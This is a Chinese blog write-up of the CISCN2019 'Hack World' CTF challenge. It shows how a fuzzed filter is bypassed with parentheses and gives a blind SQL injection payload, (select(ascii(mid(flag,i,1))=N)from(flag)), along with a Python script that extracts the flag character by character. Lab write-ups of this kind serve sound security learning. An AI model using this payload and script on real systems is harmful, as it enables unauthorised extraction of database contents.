首页 > 其他分享 >[CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注

时间:2024-03-05 20:45:42浏览次数:30  
标签:盲注 Day2 mid data flag Web1 102 World ascii

image
页面打开如上
获取到信息 flag在flag表中的flag列中
尝试注入
image
发现对用户的输入进行了限制
使用burp进行fuzz测试
image
其中535代表该页面对该条件进行了过滤
image
其中括号并没有被过滤 所以可以利用括号来代替空格
进行盲注 已知f的ascii码为102
构筑等式 (select(ascii(mid(flag,1,1))==102)from(flag))来判断该字符是什么 如果字符为ascii(102)也就是字符f 返回页面为
image
其中mid函数来标识flag列中从1开始步长为1的元素如果与102匹配就返回值1
至此我们可以写一个脚本来实现爆破

def sqlinjection():
    url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
    # header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
    str=string.printable
    for i in range(60):
        for j in str:
            data={
                'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
            }
            time.sleep(1)
            recv=requests.post(url=url,data=data).text
            if 'Hello'in recv:
                print(j,end='')

string.printable函数将返回所有可打印的值 再通过ord函数转化为10进制进行比较 一个字母一个字母的进行爆破
image
得到flag

标签:盲注,Day2,mid,data,flag,Web1,102,World,ascii
From: https://www.cnblogs.com/fr09/p/18054896

相关文章

  • 为什么学编程都从helloworld开始?
    你好世界......
  • C++第一课 输出Hello World
    #include<bits/stdc++.h>usingnamespacestd;intmain(){ }这是一个固定的格式,记住就行了。#include<bits/stdc++.h>usingnamespacestd;intmain(){   cout<<"Hello,World!"<<endl;   return0;}这是一个简单的输出Hello,World! #include<bits/stdc......
  • 2024-03-02:用go语言,一个句子是由一些单词与它们之间的单个空格组成, 且句子的开头和结
    2024-03-02:用go语言,一个句子是由一些单词与它们之间的单个空格组成,且句子的开头和结尾没有多余空格,比方说,"HelloWorld","HELLO","helloworldhelloworld"都是句子,每个单词都只包含大写和小写英文字母,如果两个句子sentence1和sentence2,可以通过往其中一个句子插入一......
  • Hello,World
    Hello,World建立code文件夹新建一个java文件文件后缀名为.javaHello.java编写代码publicclassHello{ publicstaticvoidmain(String[]args){ System.out.print("Hello,World!"); } }编译javacjava文件,会生成一个class文件运行class文件,javacla......
  • hello world
    HelloWorld创建一个文件用于存放代码,将文件的后缀该成.java用notepad++编辑代码publicstaticvoidmain(String[]args){System.out.print("Hello,World!");}}在文件路径前加cmd空格在控制面版里javac文件名.java成功无报错后写Java文件名注意......
  • Android 开发Day2
     我的是小刺猬版本,算是比较新的版本了,还有火烈鸟和蜻蜓版啥的新建项目(project)点击加号新建就行了。这时我们会选择一个模板作为开发的辅助起点,看上哪个就选哪个就行了。推荐新手选空项目(Empty),因为不是空项目的,人家已经写好了一些基本的代码,但是新手可能看都看不懂,更别说在此基......
  • GitHub使用日志(day2)
    2.GitHub仓库的创建官网(https://github.com/)注册一个GitHub账号(受网络制约可能会比较慢,建议使用360浏览器)注意:(免费版本只能创建公共的仓库,其他版本可以创建个人private版本)点击“FinishSignUp”,到这里GitHub账号就注册完成了。在如下图1所示的“signin”登录选择“startap......
  • P4799 [CEOI2015 Day2] 世界冰球锦标赛
    原题链接题解折半搜索前半部分的所有组合(二进制表示)存起来,然后遍历后半部分的组合,找到第一个加起来不大于M的=code#definelllonglong#include<bits/stdc++.h>usingnamespacestd;inlinevoidread(ll&x){ x=0; llflag=1; charc=getchar();whil......
  • 从零开始学Spring Boot系列-Hello World
    欢迎来到从零开始学SpringBoot的旅程!在这个系列的第二篇文章中,我们将从一个非常基础但重要的示例开始:创建一个简单的SpringBoot应用程序,并输出“HelloWorld”。1.环境准备首先,确保你的开发环境已经安装了以下工具:JavaDevelopmentKit(JDK):SpringBoot需要Java来运行,所......
  • 读人工不智能:计算机如何误解世界笔记02_Hello,world
    1. Hello,world1.1. “Hello,world”是布赖恩·克尼汉和丹尼斯·里奇于1978年出版的经典著作《C程序设计语言》中的第一个编程项目1.2. 贝尔实验室可以说是现代计算机科学界中的智库,地位好比巧克力界的好时巧克力1.3. 计算机科学界的大量创新都起源于贝尔实验室1.3.1. 激......